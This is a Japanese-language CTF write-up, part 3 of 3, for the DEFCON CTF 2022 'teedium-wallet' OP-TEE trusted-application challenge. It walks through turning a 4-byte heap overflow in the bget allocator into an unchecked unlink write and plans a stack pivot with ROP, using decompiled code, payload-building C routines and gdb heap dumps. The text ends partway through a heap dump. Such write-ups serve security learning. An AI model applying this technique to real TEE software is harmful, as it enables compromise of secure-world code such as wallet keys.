# DEFCON CTF 2022 - teedium-wallet (3/3)
###### tags: `trustzone` `ctf` `pwn` `ARM`
# リンク集
- Part1/3 (事前準備/TIPS)
- https://hackmd.io/@bata24/BJ3nuVEu5
- Part2/3 (解析)
- https://hackmd.io/@bata24/ry1_YS-c5
- Part3/3 (攻略)
- https://hackmd.io/@bata24/HkZkcrW95
# 攻略
## `TEE_Free`のmergeとunlinkの悪用
今回の脆弱性である4バイトのヒープBOFで,何ができるかを考察していこう.
`TEE_Free()`の実体である`brel()`では,ヒープBOFで後続チャンク(`b`とする)の`prevfree`を非ゼロにしておくと,後続チャンク`b`が解放されたときに以下の併合処理が走ることが分かる.

適当なチャンク(ここでは0x1790e8を`b`とする)を使って,具体的な値で示そう.ヒープBOFによって,チャンク`b`の`prevsize`を1にし,そのチャンク`b`が解放されたと仮定する.
コード中での新たな`b`は`b - b->bh.prevfree`であるから,`0x001790e8-1`になるはずだ.新たな`b`はunalignedだが,検証するための`assert`は消されているので問題ない.併合されると`b->bh.bsize`もずれて大きな値になり,もとのサイズを減算しても十分大きなチャンクとして保持されてしまう.
```
初期状態(自身は0xffffffd8(=0x28)バイトの利用中チャンク.直上はどういう状態でも良い)
gef> x/16xw 0x1790e8
0x1790e8: 0x00000028 0xffffffd8 0x782066f3 0x747a4600
0x1790f8: 0x6ce2becd 0x3e9d6eef 0xc26e6040 0x4a9a8b5f
0x179108: 0x71f89786 0x6ab0b022 0x00000000 0xffffffd8
0x179118: 0xa47723e4 0x92938c69 0x395993f9 0xd62fde8c
ヒープBOFでprevfreeを破壊
gef> patch dword 0x1790e8 1
gef> x/16xw 0x1790e8
0x1790e8: 0x00000001 0xffffffd8 0x782066f3 0x747a4600
0x1790f8: 0x6ce2becd 0x3e9d6eef 0xc26e6040 0x4a9a8b5f
0x179108: 0x71f89786 0x6ab0b022 0x00000000 0xffffffd8
0x179118: 0xa47723e4 0x92938c69 0x395993f9 0xd62fde8c
このチャンクがfreeされると,直上を併合
※prevfreeをサイズと見做し,bから減算した位置を新たなチャンクとする
gef> x/16xw 0x1790e8-1
0x1790e7: 0x00000100 0xffffd800 0x2066f3ff 0x7a460078
0x1790f7: 0xe2becd74 0x9d6eef6c 0x6e60403e 0x9a8b5fc2
0x179107: 0xf897864a 0xb0b02271 0x0000006a 0xffffd800
0x179117: 0x7723e4ff 0x938c69a4 0x5993f992 0x2fde8c39
gef>
併合後のサイズ
gef> p 0xffffd800-0xffffffd8
$2 = 0xffffd828
gef>
```
直上チャンクの併合が終わったら,続けて直下チャンクの併合処理が走る.

ここで,直下のチャンク`bn`を計算する式である`b + b->bh.bsize`は`b + 0xffffd828`であり,`b - 0x27d8`と等しい.つまり`bn`は非常に前方を指してしまうことになる.
加えてここで行われるunlink処理には,Safe unlinkingに代表される検証処理(`(bn->fd->bk == bn) && (bn->bk->fd == bk)`であることの確認)がない.ソースコード中にはあるのだが`assert()`に渡されていることから,どうやらビルド時に消されてしまっているようだ.
検証なくunlink処理を行うと,任意のアドレスに任意のアドレスを書き込むunlink攻撃ができてしまう.従って,もし`bn`となる付近を偽造しておくことができれば,unlink攻撃を引き起こし,任意のアドレスAに任意のアドレスBを書き込むことができるはずである(ただしAにBを書き込んだあと,BにAを書き込む処理も走るので,AとBは両方ともRWな領域でなくてはならない).
## 書き換え先の候補
ASLRが有効なので,アドレスのリークができない今回の状況では,TA自体を書き換えることは困難である.
しかし調べるとわかるがTAのスタックは固定位置にあり,また`ldelf`のコードも固定位置にある.ASLRが有効なのは,あくまでTAのコードやデータだけなのである.
書き換え先は探せば色々候補があると思われるが,最も汎用的に存在するのはスタック関連であろう.スタック上に存在する`sp`レジスタの保存先を書き換えれば,スタックをずらすことができ,リターンアドレスを奪うことができると思われる.
あとは`ldelf`中のガジェットを使ってROPすれば,ASLRに左右されず,RCEが達成できるはずだ.
尚公式Write-upでは,ASLRのエントロピーが低いことを利用してTAのベースアドレスを決め打ちする方針を採っている.失敗すると当然TAはクラッシュするが,Trusted OSがハンドリングしてくれるので,成功するまで繰り返し呼び出せば良い.ASLRを当てなければならないというデメリットはあるが,豊富なROPガジェットを利用可能というメリットがある.
## コントロール可能なバッファについて
今回のペイロードで,任意の長さのデータを仕込めるところは2箇所ある.これを使って`serialize_tx()`が利用するバッファの量を調整することになる.
```c=
void create_tx_in(int size) {
write_pad('A', 0x20); // tx_hash
write32(0xfff); // index
write_var_int(size); // scriptSig_len
write_pad('a', size); // scriptSig★
write32(0xeee); // sequence
}
void create_tx_out(int size) {
write64(0xfff); // value
write_var_int(size); // lockScript_len
write_pad('c', size); // lockScript★
}
void create_payload() {
init_payload();
/* version */
write32(0);
/* tx_in */
write_var_int(1); // n
create_tx_in(SIZE1);
/* tx_out */
write_var_int(1); // n
create_tx_out(SIZE2);
/* locktime */
write32(0xdeadbeef);
}
```
ただし`tx_in`の`scriptSig`に何かを仕込んでも,`deserialize_tx()`で読み取られた直後に解放された上で署名処理に進んでしまう.
```c=
TEE_Result __cdecl sign_transaction(uint32_t param_types, TEE_Param params[4])
...
TEE_MemMove(copy_inbuf, inbuf, inbuf_len);
res = deserialize_tx(copy_inbuf, inbuf_len, &tx);// トランザクション群(in,out)をデシリアライズ
if ( res == TEE_SUCCESS )
{
s_input = 0;
cur_input = tx->inputs;
i = 0;
while ( cur_input )
{
if ( i == input_idx ) // 署名対象のトランザクションを選択,このトランザクションだけは後で書き換える
s_input = cur_input;
TEE_Free(cur_input->scriptSig); // すでに何か情報がある場合は消す
cur_input->scriptSig = NULL;
cur_input->scriptSig_len = 0;
cur_input = (input_t *)cur_input->ll.next;
++i;
}
if ( !s_input )
{
res = TEE_ERROR_BAD_PARAMETERS;
}
else
{
// 署名作成
...
```
従って,`tx_in`に任意のデータを埋め込んでも,BOF発生時にはそのデータが使用されないので,こちらの方針は難しい.
逆に`tx_out`の`lockScript`は解放されることなくBOF発生時にも利用されるので,長さの調節にはこちらを使うことを考えよう.
## `serialize_sighash`の呼び出しパターンの考察
ヒープBOFを起こす`serialize_sighash()`は,呼ばれる箇所が2つある.
```bash=
TEE_Result __cdecl sign_transaction(uint32_t param_types, TEE_Param params[4])
{
int v2; // lr
int outbuf_len; // r3
mbedtls_sha256_context sha256_ctx2; // [sp+18h] [bp-8h] BYREF
mbedtls_sha256_context sha256_ctx1; // [sp+84h] [bp+64h] BYREF
unsigned __int8 sha256_cxsum2[32]; // [sp+F0h] [bp+D0h] BYREF
unsigned __int8 sha256_cxsum1[32]; // [sp+110h] [bp+F0h] BYREF
size_t signature_len; // [sp+130h] [bp+110h] BYREF
uint8_t *signature; // [sp+134h] [bp+114h] BYREF
size_t signature_form_len; // [sp+138h] [bp+118h] BYREF
uint8_t *signature_form; // [sp+13Ch] [bp+11Ch] BYREF
size_t signed_tx_len; // [sp+140h] [bp+120h] BYREF
uint8_t *signed_tx; // [sp+144h] [bp+124h] BYREF
mbedtls_ecp_group grp; // [sp+148h] [bp+128h] BYREF
mbedtls_mpi s; // [sp+1C4h] [bp+1A4h] BYREF
mbedtls_mpi r; // [sp+1D0h] [bp+1B0h] BYREF
tx_t *tx; // [sp+1DCh] [bp+1BCh] BYREF
void *inbuf; // [sp+1E0h] [bp+1C0h]
uint32_t copy_len; // [sp+1E4h] [bp+1C4h]
size_t solve_script_len; // [sp+1E8h] [bp+1C8h]
TEE_Param outbuf; // [sp+1ECh] [bp+1CCh]
uint32_t inbuf_len; // [sp+1F4h] [bp+1D4h]
int wallet_id; // [sp+1F8h] [bp+1D8h]
int input_idx; // [sp+1FCh] [bp+1DCh]
uint8_t *p2pkh; // [sp+200h] [bp+1E0h]
unsigned int remain_size; // [sp+204h] [bp+1E4h]
uint8_t *copy_inbuf; // [sp+208h] [bp+1E8h]
TEE_ERROR_TYPE res; // [sp+20Ch] [bp+1ECh]
output_t *cur_output; // [sp+210h] [bp+1F0h]
wallet_t *cur_wallet; // [sp+214h] [bp+1F4h]
wallet_t *wallet; // [sp+218h] [bp+1F8h]
input_t *cur_input; // [sp+21Ch] [bp+1FCh]
input_t *s_input; // [sp+220h] [bp+200h]
int i; // [sp+224h] [bp+204h]
int v38; // [sp+234h] [bp+214h]
v38 = v2;
remain_size = 0x6511;
i = 0;
tx = 0;
p2pkh = 0;
s_input = 0;
cur_input = 0;
input_idx = 0;
wallet_id = 0;
wallet = 0;
inbuf_len = 0;
cur_wallet = 0;
cur_output = 0;
outbuf = 0LL;
res = TEE_SUCCESS;
signed_tx = 0;
signed_tx_len = 0;
solve_script_len = 0;
signature_form = 0;
signature_form_len = 0;
signature = 0;
signature_len = 0;
copy_len = 0;
copy_inbuf = 0;
inbuf = 0;
if ( param_types != 0x6511 )
return TEE_ERROR_BAD_PARAMETERS;
wallet_id = params->value.a;
wallet = NULL;
for ( cur_wallet = g_wallets; cur_wallet; cur_wallet = (wallet_t *)cur_wallet->ll.next )
{
if ( wallet_id == cur_wallet->id ) // wallet idから、署名に関係するwalletを選択
{
wallet = cur_wallet;
break;
}
}
if ( !wallet )
{
res = TEE_ERROR_ITEM_NOT_FOUND;
}
else
{
input_idx = params[1].value.a;
inbuf = params[2].memref.buffer;
inbuf_len = params[2].memref.size;
copy_inbuf = (uint8_t *)TEE_Malloc(inbuf_len, 0);
if ( !copy_inbuf )
{
res = TEE_ERROR_OUT_OF_MEMORY;
}
else
{
TEE_MemMove(copy_inbuf, inbuf, inbuf_len);
res = deserialize_tx(copy_inbuf, inbuf_len, &tx);// トランザクション群(in,out)をデシリアライズ
if ( res == TEE_SUCCESS )
{
s_input = 0;
cur_input = tx->inputs;
i = 0;
while ( cur_input )
{
if ( i == input_idx ) // 署名対象のトランザクションを選択,このトランザクションだけは後で書き換える
s_input = cur_input;
TEE_Free(cur_input->scriptSig); // すでに何か情報がある場合は消す
cur_input->scriptSig = NULL;
cur_input->scriptSig_len = 0;
cur_input = (input_t *)cur_input->ll.next;
++i;
}
if ( !s_input )
{
res = TEE_ERROR_BAD_PARAMETERS;
}
else
{
// 署名作成
p2pkh = (uint8_t *)TEE_Malloc(0x19u, 0);
if ( !p2pkh )
{
res = TEE_ERROR_OUT_OF_MEMORY;
}
else
{
*p2pkh = 0x76;
p2pkh[1] = 0xA9;
p2pkh[2] = 0x14;
TEE_MemMove(p2pkh + 3, wallet->ripemd160_cxsum, 0x14);
p2pkh[0x17] = 0x88;
p2pkh[0x18] = 0xAC;
s_input->scriptSig = p2pkh; // 選択したトランザクションのscriptSigに署名者の情報を付与
s_input->scriptSig_len = 0x19;
res = serialize_tx(tx, &signature_form, &signature_form_len);// トランザクション群(in,out)を一旦シリアライズ ★1度目.signature_formは解放されるので,せっかくBOFして書き換えた`prevfree`が潰されてしまう
if ( res == TEE_SUCCESS )
{
mbedtls_sha256_init(&sha256_ctx1);
if ( !mbedtls_sha256_starts_ret(&sha256_ctx1, 0) && !mbedtls_sha256_update_ret(&sha256_ctx1, signature_form, signature_form_len) )
{
mbedtls_sha256_finish_ret(&sha256_ctx1, sha256_cxsum1);
mbedtls_sha256_init(&sha256_ctx2);
if ( !mbedtls_sha256_starts_ret(&sha256_ctx2, 0) && !mbedtls_sha256_update_ret(&sha256_ctx2, sha256_cxsum1, 0x20u) )
{
mbedtls_sha256_finish_ret(&sha256_ctx2, sha256_cxsum2);
mbedtls_ecp_group_init(&grp);
if ( mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_SECP256K1) )
{
res = TEE_ERROR_GENERIC;
}
else
{
mbedtls_mpi_init(&r);
mbedtls_mpi_init(&s);
if ( mbedtls_ecdsa_sign(&grp, &r, &s, &wallet->d, sha256_cxsum2, 0x20u, Wallet_TA_Random, 0) )// トランザクションのハッシュに署名(r,sが署名)
{
res = TEE_ERROR_GENERIC;
}
else
{
res = serialize_signature(&r, &s, &signature, &signature_len);// 署名をシリアライズ
if ( res == TEE_SUCCESS )
{
solve_script_len = signature_len + 0x22;
signature = (uint8_t *)TEE_Realloc(signature, signature_len + 0x22);
if ( !signature )
{
res = TEE_ERROR_OUT_OF_MEMORY;
}
else
{
signature[signature_len] = 0x21;
wallet_pubkey(wallet, &signature[signature_len + 1]);// 署名に署名者の情報を付与
TEE_Free(s_input->scriptSig);
s_input->scriptSig = signature;// 選択したトランザクションに、署名を改めて正式に付与
s_input->scriptSig_len = solve_script_len;
res = serialize_tx(tx, &signed_tx, &signed_tx_len);// シリアライズ ★2度目.signed_txは解放されないので,直下のチャンクを巻き込んで併合することは絶対にない
if ( res == TEE_SUCCESS )
{
signed_tx_len -= 4;
outbuf = params[3];
outbuf_len = signed_tx_len;
if ( signed_tx_len >= outbuf.memref.size )
outbuf_len = outbuf.memref.size;
copy_len = outbuf_len;
TEE_MemMove(outbuf.memref.buffer, signed_tx, outbuf_len);// 署名付きトランザクションをParamに出力
params[3].memref.size = copy_len;
}
}
}
}
}
}
}
}
}
}
}
}
}
if ( copy_inbuf )
TEE_Free(copy_inbuf);
if ( signature_form )
TEE_Free(signature_form);
if ( !tx )
return res;
for ( cur_input = tx->inputs; cur_input; cur_input = destroy_input(cur_input) )
;
for ( cur_output = tx->outputs; cur_output; cur_output = destroy_output(cur_output) )
;
TEE_Free(tx);
return res;
}
```
どちらにおいてもBOFは起こせるが,都合よく直下のチャンクがused状態で,かつ後ほどどこかで解放されなければならない.またそれまでに,ヒープBOFを起こした側のチャンクが解放されてはならない.解放時に,せっかく書き換えた直下のチャンクの`prevfree`を書き換えてしまうからだ.
2つの`serialize_tx()`において書き込まれる(ヒープBOFを引き起こす側の)バッファはそれぞれ`signature_form`と`signed_tx`で,前者は解放されるが後者は解放されない.この動作を上手く使おう.つまり,ヒープBOFを起こすべきターゲットは,2度目の`serialize_tx()`である.
## Reallocでチャンク確保位置をずらす
まずは簡単に,`tx_in`も`tx_out`も1つずつで,可変長データはどちらも適当に0x20バイトとした場合を考えよう.
```c=
void create_tx_in(int size) {
write_pad('A', 0x20); // tx_hash
write32(0xfff); // index
write_var_int(size); // scriptSig_len
write_pad('a', size); // scriptSig
write32(0xeee); // sequence
}
void create_tx_out(int size) {
write64(0xfff); // value
write_var_int(size); // lockScript_len
write_pad('c', size); // lockScript
}
void create_payload() {
init_payload();
/* version */
write32(0);
/* tx_in */
write_var_int(1); // n
create_tx_in(0x20);
/* tx_out */
write_var_int(1); // n
create_tx_out(0x20);
/* locktime */
write32(0xdeadbeef);
}
```
このペイロードを送ったとき,2度目の`serialize_tx()`が呼ばれてヒープBOFが起きる`TEE_Memmove()`の書き込み先(`dst`)は,0x16962fであった.つまり★のチャンク内で書き込みが起きていることになる.
`tx_out[0]->lockScript`の長さを変えれば,直下のチャンク(0x00169668)の`prevfree`は書き換えられるだろう.
```bash=
root@Ubuntu2204:~# gdb-multiarch -ex 'target remote localhost:1234' -ex 'optee-break-ta -v 0xe137c78 0x123c' -ex 'c' -ex 'c' -ex 'optee-bget-dump 0x2a408' -ex 'i r $r0'
...
-------------------------------------------------------------------- pool[0] @ 0x166470 - 0x16e468 --------------------------------------------------------------------
free 0x00166470: prevfree:0x00000000 bsize:0x000030f0 flink:0x0016c798 blink:0x00166408
used 0x00169560: prevfree:0x000030f0 bsize:0xfffffef8(0x00000108) ★
used 0x00169668: prevfree:0x00000000 bsize:0xffffff88(0x00000078) ←長さを調整すればここのprevfreeが書き換えられる
free 0x001696e0: prevfree:0x00000000 bsize:0x00000058 flink:0x0016be38 blink:0x001697c0
used 0x00169738: prevfree:0x00000058 bsize:0xffffff78(0x00000088)
free 0x001697c0: prevfree:0x00000000 bsize:0x00000190 flink:0x001696e0 blink:0x00169978
used 0x00169950: prevfree:0x00000190 bsize:0xffffffd8(0x00000028)
free 0x00169978: prevfree:0x00000000 bsize:0x00000200 flink:0x001697c0 blink:0x0016bd08
used 0x00169b78: prevfree:0x00000200 bsize:0xffffffd8(0x00000028)
used 0x00169ba0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00169bc8: prevfree:0x00000000 bsize:0x00000090 flink:0x0016bd08 blink:0x00169ca8
used 0x00169c58: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00169c80: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00169ca8: prevfree:0x00000000 bsize:0x00000090 flink:0x00169bc8 blink:0x00169d88
used 0x00169d38: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00169d60: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00169d88: prevfree:0x00000000 bsize:0x00000090 flink:0x00169ca8 blink:0x00169e68
used 0x00169e18: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00169e40: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00169e68: prevfree:0x00000000 bsize:0x00000090 flink:0x00169d88 blink:0x00169f48
used 0x00169ef8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00169f20: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00169f48: prevfree:0x00000000 bsize:0x00000090 flink:0x00169e68 blink:0x0016a028
used 0x00169fd8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016a000: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016a028: prevfree:0x00000000 bsize:0x00000090 flink:0x00169f48 blink:0x0016a108
used 0x0016a0b8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016a0e0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016a108: prevfree:0x00000000 bsize:0x00001a78 flink:0x0016a028 blink:0x0016bea8
used 0x0016bb80: prevfree:0x00001a78 bsize:0xfffffff0(0x00000010)
used 0x0016bb90: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0016bbb8: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0016bbe0: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
free 0x0016bd08: prevfree:0x00000000 bsize:0x00000028 flink:0x00169978 blink:0x00169bc8
used 0x0016bd30: prevfree:0x00000028 bsize:0xfffffef8(0x00000108)
free 0x0016be38: prevfree:0x00000000 bsize:0x00000028 flink:0x00166408 blink:0x001696e0
used 0x0016be60: prevfree:0x00000028 bsize:0xffffffd8(0x00000028)
used 0x0016be88: prevfree:0x00000000 bsize:0xffffffe0(0x00000020)
free 0x0016bea8: prevfree:0x00000000 bsize:0x00000028 flink:0x0016a108 blink:0x0016bfe0
used 0x0016bed0: prevfree:0x00000028 bsize:0xffffffc0(0x00000040)
used 0x0016bf10: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x0016bf28: prevfree:0x00000000 bsize:0xffffff78(0x00000088)
used 0x0016bfb0: prevfree:0x00000000 bsize:0xffffffd0(0x00000030)
free 0x0016bfe0: prevfree:0x00000000 bsize:0x00000028 flink:0x0016bea8 blink:0x0016c050
used 0x0016c008: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
free 0x0016c050: prevfree:0x00000000 bsize:0x00000028 flink:0x0016bfe0 blink:0x0016c108
used 0x0016c078: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
used 0x0016c0c0: prevfree:0x00000000 bsize:0xffffffb8(0x00000048)
free 0x0016c108: prevfree:0x00000000 bsize:0x00000100 flink:0x0016c050 blink:0x0016c258
used 0x0016c208: prevfree:0x00000100 bsize:0xffffffd8(0x00000028)
used 0x0016c230: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c258: prevfree:0x00000000 bsize:0x00000090 flink:0x0016c108 blink:0x0016c338
used 0x0016c2e8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016c310: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c338: prevfree:0x00000000 bsize:0x00000090 flink:0x0016c258 blink:0x0016c418
used 0x0016c3c8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016c3f0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c418: prevfree:0x00000000 bsize:0x00000090 flink:0x0016c338 blink:0x0016c4f8
used 0x0016c4a8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016c4d0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c4f8: prevfree:0x00000000 bsize:0x00000090 flink:0x0016c418 blink:0x0016c5d8
used 0x0016c588: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016c5b0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c5d8: prevfree:0x00000000 bsize:0x00000090 flink:0x0016c4f8 blink:0x0016c6b8
used 0x0016c668: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016c690: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c6b8: prevfree:0x00000000 bsize:0x00000090 flink:0x0016c5d8 blink:0x0016c798
used 0x0016c748: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x0016c770: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x0016c798: prevfree:0x00000000 bsize:0x00001a78 flink:0x0016c6b8 blink:0x00166470 ★★ここに大きな空き領域あり
used 0x0016e210: prevfree:0x00001a78 bsize:0xfffffff0(0x00000010)
used 0x0016e220: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0016e248: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0016e270: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
used 0x0016e398: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x0016e3c0: prevfree:0x00000000 bsize:0xffffffa0(0x00000060)
used 0x0016e420: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x0016e438: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x0016e450: prevfree:0x00000000 bsize:0xfffffff0(0x00000010)
free 0x0016e460: prevfree:0x00000000 bsize:0x80000000 flink:0x00000000 blink:0x00000000
r0 0x16962f 0x16962f
gef>
```
さてヒープは予め割り当てられたpool領域を下から上に使うようで,この領域は結構上の方だということになる.
この後併合が起きた場合,直下の領域のサイズは0xffffff88だから,unlinkを引き起こすための計算式は`bn = b + (0xffff8800 - 0xffffff88) = b + 0xffff8878 = b - 0x7788`となり,ここから0x7788バイトも上方を参照することになる.
しかし`serialize_sighash()`が呼ばれたタイミングでは,こちらが送った各データはすでにデシリアライズが終わってしまっており,これ以降にコントロール可能な大きなバッファを確保するパスがないため,参照先には何も仕込めないことになってしまう.
そこで,`TEE_Realloc()`が呼ばれることを利用して★★にある大きなfree済みチャンクを割り当てることを考えよう.ここに割り当てられれば,上方を参照されてもそこに何かを仕込める可能性がでてくるはずだ.
しかし,そもそも★の箇所は上の方にまだ0x30f0バイトの空き領域があり,これを消費しないと`TEE_Realloc()`が他の場所を割当に行くことはない.そこで,`payload`の最後にパースされないデータをくっつけて,署名に影響なくヒープ領域だけ消費することを考えよう.
```c=
void create_tx_in(int size) {
write_pad('A', 0x20); // tx_hash
write32(0xfff); // index
write_var_int(size); // scriptSig_len
write_pad('a', size); // scriptSig
write32(0xeee); // sequence
}
void create_tx_out(int size) {
write64(0xfff); // value
write_var_int(size); // lockScript_len
write_pad('c', size); // lockScript
}
void create_payload() {
init_payload();
/* version */
write32(0);
/* tx_in */
write_var_int(1); // n
create_tx_in(0x20);
/* tx_out */
write_var_int(1); // n
create_tx_out(0x20);
/* locktime */
write32(0xdeadbeef);
/* additional data (unused) */
write_pad('x', 0x30f0); // ★使われないデータなので署名には影響がないが,パース用に一時的にバッファだけは使う
}
```
こうすることで,`TEE_Realloc()`によりヒープBOFを起こすチャンクの位置がかなり下方に差しかわった.
```bash=
root@Ubuntu2204:~# gdb-multiarch -ex 'target remote localhost:1234' -ex 'optee-break-ta -v 0xe137c78 0x123c' -ex 'c' -ex 'c' -ex 'optee-bget-dump 0x2a408' -ex 'i r $r0'
...
-------------------------------------------------------------------- pool[0] @ 0x140470 - 0x148468 --------------------------------------------------------------------
free 0x00140470: prevfree:0x00000000 bsize:0x00000110 flink:0x00146798 blink:0x00140408 ★2. poolの残りはわずかなので,TEE_Reallocでここからは割り当てられない
used 0x00140580: prevfree:0x00000110 bsize:0xffffff88(0x00000078)
free 0x001405f8: prevfree:0x00000000 bsize:0x00000050 flink:0x00142d48 blink:0x001406d0
used 0x00140648: prevfree:0x00000050 bsize:0xffffff78(0x00000088)
free 0x001406d0: prevfree:0x00000000 bsize:0x00000190 flink:0x001405f8 blink:0x00140888
used 0x00140860: prevfree:0x00000190 bsize:0xffffffd8(0x00000028)
free 0x00140888: prevfree:0x00000000 bsize:0x00000200 flink:0x001406d0 blink:0x00142c18
used 0x00140a88: prevfree:0x00000200 bsize:0xffffffd8(0x00000028)
used 0x00140ab0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00140ad8: prevfree:0x00000000 bsize:0x00000090 flink:0x00142c18 blink:0x00140bb8
used 0x00140b68: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00140b90: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00140bb8: prevfree:0x00000000 bsize:0x00000090 flink:0x00140ad8 blink:0x00140c98
used 0x00140c48: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00140c70: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00140c98: prevfree:0x00000000 bsize:0x00000090 flink:0x00140bb8 blink:0x00140d78
used 0x00140d28: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00140d50: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00140d78: prevfree:0x00000000 bsize:0x00000090 flink:0x00140c98 blink:0x00140e58
used 0x00140e08: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00140e30: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00140e58: prevfree:0x00000000 bsize:0x00000090 flink:0x00140d78 blink:0x00140f38
used 0x00140ee8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00140f10: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00140f38: prevfree:0x00000000 bsize:0x00000090 flink:0x00140e58 blink:0x00141018
used 0x00140fc8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00140ff0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00141018: prevfree:0x00000000 bsize:0x00001a78 flink:0x00140f38 blink:0x00142db8
used 0x00142a90: prevfree:0x00001a78 bsize:0xfffffff0(0x00000010)
used 0x00142aa0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x00142ac8: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
used 0x00142af0: prevfree:0x00000000 bsize:0xfffffed8(0x00000128)
free 0x00142c18: prevfree:0x00000000 bsize:0x00000028 flink:0x00140888 blink:0x00140ad8
used 0x00142c40: prevfree:0x00000028 bsize:0xfffffef8(0x00000108)
free 0x00142d48: prevfree:0x00000000 bsize:0x00000028 flink:0x00140408 blink:0x001405f8
used 0x00142d70: prevfree:0x00000028 bsize:0xffffffd8(0x00000028)
used 0x00142d98: prevfree:0x00000000 bsize:0xffffffe0(0x00000020)
free 0x00142db8: prevfree:0x00000000 bsize:0x00000028 flink:0x00141018 blink:0x00145fe0
used 0x00142de0: prevfree:0x00000028 bsize:0xffffffc0(0x00000040)
used 0x00142e20: prevfree:0x00000000 bsize:0xffffffe8(0x00000018)
used 0x00142e38: prevfree:0x00000000 bsize:0xffffce88(0x00003178) ★1. 使われないデータのせいでバッファを大量に消費した
used 0x00145fb0: prevfree:0x00000000 bsize:0xffffffd0(0x00000030)
free 0x00145fe0: prevfree:0x00000000 bsize:0x00000028 flink:0x00142db8 blink:0x00146050
used 0x00146008: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
free 0x00146050: prevfree:0x00000000 bsize:0x00000028 flink:0x00145fe0 blink:0x00146108
used 0x00146078: prevfree:0x00000028 bsize:0xffffffb8(0x00000048)
used 0x001460c0: prevfree:0x00000000 bsize:0xffffffb8(0x00000048)
free 0x00146108: prevfree:0x00000000 bsize:0x00000100 flink:0x00146050 blink:0x00146258
used 0x00146208: prevfree:0x00000100 bsize:0xffffffd8(0x00000028)
used 0x00146230: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00146258: prevfree:0x00000000 bsize:0x00000090 flink:0x00146108 blink:0x00146338
used 0x001462e8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00146310: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00146338: prevfree:0x00000000 bsize:0x00000090 flink:0x00146258 blink:0x00146418
used 0x001463c8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001463f0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x00146418: prevfree:0x00000000 bsize:0x00000090 flink:0x00146338 blink:0x001464f8
used 0x001464a8: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001464d0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001464f8: prevfree:0x00000000 bsize:0x00000090 flink:0x00146418 blink:0x001465d8
used 0x00146588: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x001465b0: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001465d8: prevfree:0x00000000 bsize:0x00000090 flink:0x001464f8 blink:0x001466b8
used 0x00146668: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
used 0x00146690: prevfree:0x00000000 bsize:0xffffffd8(0x00000028)
free 0x001466b8: prevfree:0x00000000 bsize:0x00000090 flink:0x001465d8 blink:0x00146798
used 0x00146748: prevfree:0x00000090 bsize:0xffffffd8(0x00000028)
